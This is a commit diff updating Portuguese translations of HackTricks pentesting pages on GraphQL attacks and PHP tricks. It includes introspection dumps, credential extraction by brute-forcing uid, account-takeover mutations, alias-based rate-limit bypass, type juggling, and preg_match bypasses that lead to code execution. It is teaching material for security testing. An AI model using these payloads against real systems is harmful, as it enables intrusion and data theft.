mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne
This commit is contained in:
parent
100b664d78
commit
0774452a41
4 changed files with 126 additions and 114 deletions
|
@ -6,11 +6,11 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -35,13 +35,13 @@ Para identificar instâncias de GraphQL expostas, é recomendável a inclusão d
|
|||
* `/graphql/api`
|
||||
* `/graphql/graphql`
|
||||
|
||||
Identificar instâncias de GraphQL abertas permite a análise das consultas suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: Uma linguagem de consulta para APIs.**](https://graphql.org/learn/introspection/)
|
||||
Identificar instâncias de GraphQL abertas permite a análise das consultas suportadas. Isso é crucial para entender os dados acessíveis pelo endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: Uma linguagem de consulta para APIs.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Impressão Digital
|
||||
|
||||
A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo GraphQL é usado em um servidor e então imprime algumas informações úteis para o auditor de segurança.
|
||||
|
||||
#### Consultas universais <a href="#universal-queries" id="universal-queries"></a>
|
||||
#### Consultas Universais <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
Para verificar se uma URL é um serviço GraphQL, uma **consulta universal**, `query{__typename}`, pode ser enviada. Se a resposta incluir `{"data": {"__typename": "Query"}}`, confirma que a URL hospeda um endpoint GraphQL. Este método depende do campo `__typename` do GraphQL, que revela o tipo do objeto consultado.
|
||||
```javascript
|
||||
|
@ -53,7 +53,7 @@ O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST*
|
|||
|
||||
#### Introspecção
|
||||
|
||||
Para usar a introspecção para descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas.
|
||||
Para usar a introspecção e descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas.
|
||||
```bash
|
||||
query={__schema{types{name,fields{name}}}}
|
||||
```
|
||||
|
@ -73,7 +73,7 @@ Com esta consulta, você pode extrair todos os tipos, seus campos e argumentos (
|
|||
|
||||
**Erros**
|
||||
|
||||
É interessante saber se os **erros** serão **mostrados**, pois contribuirão com informações úteis.
|
||||
É interessante saber se os **erros** serão **exibidos**, pois contribuirão com informações úteis.
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
|
@ -177,7 +177,7 @@ Consulta de introspeção em linha:
|
|||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
A última linha de código é uma consulta graphql que irá despejar todas as metainformações do graphql (nomes de objetos, parâmetros, tipos...)
|
||||
A última linha de código é uma consulta graphql que irá extrair todas as metainformações do graphql (nomes de objetos, parâmetros, tipos...)
|
||||
|
||||
![](<../../.gitbook/assets/image (363).png>)
|
||||
|
||||
|
@ -185,9 +185,9 @@ Se a introspeção estiver ativada, você pode usar [**GraphQL Voyager**](https:
|
|||
|
||||
### Consultando
|
||||
|
||||
Agora que sabemos que tipo de informações estão salvas no banco de dados, vamos tentar **extrair alguns valores**.
|
||||
Agora que sabemos que tipo de informação está armazenada no banco de dados, vamos tentar **extrair alguns valores**.
|
||||
|
||||
Na introspeção, você pode encontrar **quais objetos você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
||||
Na introspeção, você pode encontrar **quais objetos você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto de flag.
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
|
||||
|
||||
|
@ -221,7 +221,7 @@ De qualquer forma, já sabíamos que, na seção de [Enumeração Básica](graph
|
|||
|
||||
Se você ler a imagem fornecida quando eu executar essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
||||
|
||||
Assim, realizando uma leve força bruta em _**uid**_, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
||||
Assim, realizando uma leve força bruta de _**uid**_, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
![](<../../.gitbook/assets/image (90).png>)
|
||||
|
@ -232,15 +232,15 @@ Observe que **descobri** que poderia solicitar os **parâmetros** "_**user**_" e
|
|||
|
||||
E durante a fase de **enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
|
||||
|
||||
**Truque de despejo de sequência de consulta (obrigado a @BinaryShadow\_)**
|
||||
**Truque de despejo de string de consulta (obrigado a @BinaryShadow\_)**
|
||||
|
||||
Se você puder pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e **procurar por uma string vazia**, ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_).
|
||||
Se você puder pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **procurar por uma string vazia**, ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_).
|
||||
|
||||
### Pesquisa
|
||||
|
||||
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seus **e-mails** e **nomes**; **filmes** por seus **nomes** e **classificações**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
||||
|
||||
Você pode **pesquisar** pessoas **pelo** nome e obter seus e-mails:
|
||||
Você pode **pesquisar** pessoas **pelo** **nome** e obter seus e-mails:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -368,7 +368,7 @@ Como podemos ver na captura de tela da resposta, a primeira e a terceira solicit
|
|||
|
||||
Cada vez mais **os pontos finais do graphql estão desabilitando a introspecção**. No entanto, os erros que o graphql lança quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
|
||||
|
||||
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL passando pelo Burp** e **constrói** um esquema interno do GraphQL **com cada nova consulta que vê**. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que vê. Ele também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Uma **lista de palavras** útil para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
|
@ -386,7 +386,7 @@ Se não tiver sucesso, considere métodos de solicitação alternativos, como **
|
|||
|
||||
### **Descobrindo Estruturas GraphQL Expostas**
|
||||
|
||||
Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são:
|
||||
Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar nas ferramentas de desenvolvedor são:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
|
@ -402,7 +402,7 @@ Se você não sabe o que é CSRF, leia a seguinte página:
|
|||
|
||||
Lá fora, você será capaz de encontrar vários endpoints GraphQL **configurados sem tokens CSRF.**
|
||||
|
||||
Observe que as solicitações GraphQL geralmente são enviadas via solicitações POST usando o Content-Type **`application/json`**.
|
||||
Observe que as requisições GraphQL geralmente são enviadas via solicitações POST usando o Content-Type **`application/json`**.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
|
@ -418,7 +418,7 @@ Observe que geralmente é possível enviar a **solicitação** **de consulta** t
|
|||
|
||||
Além disso, abusar de um [**ataque XS-Search**](../../pentesting-web/xs-search/) pode ser possível para extrair conteúdo do endpoint GraphQL abusando das credenciais do usuário.
|
||||
|
||||
Para mais informações, **verifique o** [**post original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
Para mais informações, **verifique a** [**postagem original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
## Autorização no GraphQL
|
||||
|
||||
|
@ -426,7 +426,7 @@ Muitas funções GraphQL definidas no endpoint podem verificar apenas a autentic
|
|||
|
||||
Modificar as variáveis de entrada da consulta pode resultar em detalhes da conta sensíveis [vazados](https://hackerone.com/reports/792927).
|
||||
|
||||
A mutação pode até resultar em uma tomada de conta tentando modificar dados de outras contas.
|
||||
A mutação pode até resultar em uma tomada de conta ao tentar modificar dados de outras contas.
|
||||
```javascript
|
||||
{
|
||||
"operationName":"updateProfile",
|
||||
|
@ -442,11 +442,11 @@ No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela
|
|||
|
||||
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bypass de Limites de Taxa Usando Aliases no GraphQL
|
||||
## Bypassing Limites de Taxa Usando Aliases no GraphQL
|
||||
|
||||
No GraphQL, os aliases são um recurso poderoso que permite **nomear propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto em uma única solicitação. Os aliases podem ser usados para superar a limitação que impede que objetos GraphQL tenham várias propriedades com o mesmo nome.
|
||||
|
||||
Para uma compreensão detalhada dos aliases do GraphQL, recomenda-se o seguinte recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
Para uma compreensão detalhada dos aliases do GraphQL, é recomendado o seguinte recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Embora o objetivo principal dos aliases seja reduzir a necessidade de inúmeras chamadas de API, foi identificado um caso de uso não intencional em que os aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para impedir ataques de força bruta restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não considerar o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa.
|
||||
|
||||
|
@ -470,12 +470,13 @@ valid
|
|||
### Scanners de Vulnerabilidades
|
||||
|
||||
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns em pontos finais graphql
|
||||
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a versão do graphql sendo usada
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para obter esquemas e buscar por dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um tipo específico.
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como um aplicativo independente ou [extensão do Burp](https://github.com/doyensec/inql).
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI para automatizar ataques
|
||||
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoria de segurança GraphQL com foco em realizar consultas e mutações GraphQL em lote.
|
||||
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica o graphql sendo utilizado
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para obter esquemas e procurar por dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um tipo específico.
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como um standalone ou [extensão Burp](https://github.com/doyensec/inql).
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de alcançar um tipo específico em um esquema GraphQL.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão do Burp para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um ponto final GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as consultas e mutações possíveis, organizando-as em uma visualização estruturada para sua análise. O componente _**Attacker**_ permite executar ataques em lote GraphQL, o que pode ser útil para contornar limites de taxa mal implementados.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um ponto final GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as consultas e mutações possíveis, organizando-as em uma visualização estruturada para sua análise. O componente _**Attacker**_ permite executar ataques GraphQL em lote, o que pode ser útil para contornar limites de taxa mal implementados.
|
||||
|
||||
### Clientes
|
||||
|
||||
|
@ -500,12 +501,12 @@ valid
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Comparações frouxas/Type Juggling ( == )
|
||||
|
||||
Se `==` é usado em PHP, então existem casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" apenas compara valores transformados para o mesmo tipo, se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`.
|
||||
Se `==` é usado em PHP, então existem casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo, se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`.
|
||||
|
||||
Tabelas de comparação em PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -74,21 +74,19 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
|||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
O mesmo erro ocorre com `strcasecmp()`
|
||||
### Juggling de Tipos Estritos
|
||||
|
||||
### Tipagem estrita
|
||||
|
||||
Mesmo se `===` estiver **sendo usado**, pode haver erros que tornam a **comparação vulnerável** à **tipagem dinâmica**. Por exemplo, se a comparação estiver **convertendo os dados para um tipo de objeto diferente antes de comparar**:
|
||||
Mesmo se `===` estiver **sendo usado**, podem ocorrer erros que tornam a **comparação vulnerável** ao **juggling de tipos**. Por exemplo, se a comparação estiver **convertendo os dados para um tipo de objeto diferente antes de comparar**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e se não estiver, o código pode continuar sua execução).
|
||||
**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e, se não estiver, o código pode continuar sua execução).
|
||||
|
||||
#### Bypass de nova linha
|
||||
|
||||
No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode conseguir contornar essa verificação. Exemplo:
|
||||
No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode ser capaz de contornar essa verificação. Exemplo:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -111,12 +109,12 @@ Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https:/
|
|||
|
||||
#### **Burla de erro de comprimento**
|
||||
|
||||
(Esta burla foi aparentemente testada no PHP 5.2.5 e não consegui fazê-la funcionar no PHP 7.3.15)\
|
||||
(Esta burla foi testada aparentemente no PHP 5.2.5 e não consegui fazê-la funcionar no PHP 7.3.15)\
|
||||
Se você puder enviar para `preg_match()` uma entrada muito **grande e válida**, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver na lista negra um JSON, você poderia enviar:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
#### Bypass ReDoS
|
||||
#### ReDoS Bypass
|
||||
|
||||
Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) e [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||
|
||||
|
@ -124,8 +122,8 @@ Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
|
|||
|
||||
Em resumo, o problema ocorre porque as funções `preg_*` em PHP são baseadas na [biblioteca PCRE](http://www.pcre.org/). No PCRE, certas expressões regulares são correspondidas usando muitas chamadas recursivas, o que consome muito espaço de pilha. É possível definir um limite para a quantidade de recursões permitidas, mas no PHP esse limite [é padrão para 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), o que é mais do que cabe na pilha.
|
||||
|
||||
Neste [tópico do Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) também foi mencionado no post, onde é discutido mais a fundo sobre esse problema. Nossa tarefa agora estava clara:\
|
||||
**Enviar uma entrada que faria a regex fazer mais de 100.000 recursões, causando SIGSEGV, fazendo a função `preg_match()` retornar `false`, fazendo com que a aplicação pense que nossa entrada não é maliciosa, lançando a surpresa no final do payload algo como `{system(<comandomuitoruim>)}` para obter SSTI --> RCE --> flag :)**.
|
||||
[Este tópico do Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) também foi vinculado no post, onde é discutido mais detalhadamente sobre esse problema. Nossa tarefa agora estava clara:\
|
||||
**Enviar uma entrada que faria a regex fazer mais de 100.000 recursões, causando SIGSEGV, fazendo a função `preg_match()` retornar `false`, fazendo com que a aplicação pense que nossa entrada não é maliciosa, lançando a surpresa no final da carga útil algo como `{system(<comandomuitoruim>)}` para obter SSTI --> RCE --> flag :)**.
|
||||
|
||||
Bem, em termos de regex, na verdade não estamos fazendo 100k "recursões", mas sim contando "passos de retrocesso", que, como a [documentação do PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) afirma, é padrão para 1.000.000 (1M) na variável `pcre.backtrack_limit`.\
|
||||
Para alcançar isso, `'X'*500_001` resultará em 1 milhão de passos de retrocesso (500k para frente e 500k para trás):
|
||||
|
@ -167,9 +165,9 @@ Verifique:
|
|||
|
||||
* **register\_globals**: Em **PHP < 4.1.1.1** ou se estiver mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET se elas tiverem um valor, por exemplo $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, enviando parâmetros HTTP você pode sobrescrever variáveis** que são usadas no código.
|
||||
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo local**, portanto, se dentro de um domínio **diferentes cookies são usados em caminhos diferentes** você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
|
||||
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome** você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome correspondente a ele em path2).
|
||||
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome** você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome correspondente em path2).
|
||||
* Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
|
||||
* [**LFI e RCE usando php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
* [**LFI e RCE usando envoltórios php**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
|
@ -186,9 +184,9 @@ True
|
|||
|
||||
#### Causando erro após definir cabeçalhos
|
||||
|
||||
A partir [**deste thread no Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não irá definir cabeçalhos na resposta.
|
||||
A partir [**deste thread no Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que ao enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não irá definir cabeçalhos na resposta.
|
||||
|
||||
Permitindo a bypass, por exemplo, de cabeçalhos CSP sendo definidos em códigos como:
|
||||
Permitindo, por exemplo, a bypass de cabeçalhos CSP sendo definidos em códigos como:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -201,13 +199,21 @@ No cenário a seguir, o **atacante fez o servidor gerar alguns erros grandes**,
|
|||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
## Execução de Código
|
||||
## SSRF em funções PHP
|
||||
|
||||
Verifique a página:
